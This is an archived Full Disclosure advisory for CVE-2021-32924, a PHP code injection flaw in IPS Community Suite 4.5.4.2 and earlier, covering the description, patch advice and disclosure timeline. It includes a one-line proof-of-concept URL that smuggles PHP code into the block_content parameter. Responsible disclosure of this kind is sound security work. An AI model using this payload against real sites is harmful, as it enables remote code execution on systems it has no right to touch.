[KIS-2021-04] IPS Community Suite <= 4.5.4.2 (previewBlock) PHP Code Injection Vulnerability

From: research () karmainsecurity com
Date: Fri, 28 May 2021 19:15:34 +0200

```
-------------------------------------------------------------------------------
IPS Community Suite <= 4.5.4.2 (previewBlock) PHP Code Injection Vulnerability
-------------------------------------------------------------------------------


[-] Software Link:

https://invisioncommunity.com


[-] Affected Versions:

Version 4.5.4.2 and prior versions.


[-] Vulnerability Description:

The vulnerability exists because the IPS\cms\modules\front\pages\_builder::previewBlock() method allows to pass
arbitrary content to the IPS\_Theme::runProcessFunction() method, which will be used in a call to the eval() PHP
function. This can be exploited to inject and execute arbitrary PHP code. Successful exploitation of this
vulnerability requires an account with permission to manage the sidebar (such as a Moderator or Administrator) and the
"cms" application to be enabled.


[-] Proof of Concept:

http://[host]/[ips]/index.php?
app=cms&module=pages&controller=builder&do=previewBlock&block_plugin=stats&block_template_use_how=copy&block_plugin_ap
p=core&_sending=block_content&block_content=RCE%0ACONTENT;}}phpinfo();die;/*


[-] Solution:

Apply the vendor patch or upgrade to version 4.6.0 or later.


[-] Disclosure Timeline:

[02/02/2021] - Vendor notified through HackerOne
[02/04/2021] - Asked for an update
[06/04/2021] - Vendor replies they already released a targeted patch
[13/05/2021] - CVE number assigned
[28/05/2021] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-32924 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Other References:

https://hackerone.com/reports/1092574


[-] Original Advisory:

http://karmainsecurity.com/KIS-2021-04


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
```

By Date By Thread

Current thread:

- **[KIS-2021-04] IPS Community Suite <= 4.5.4.2 (previewBlock) PHP Code Injection Vulnerability** *research (May 28)*

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License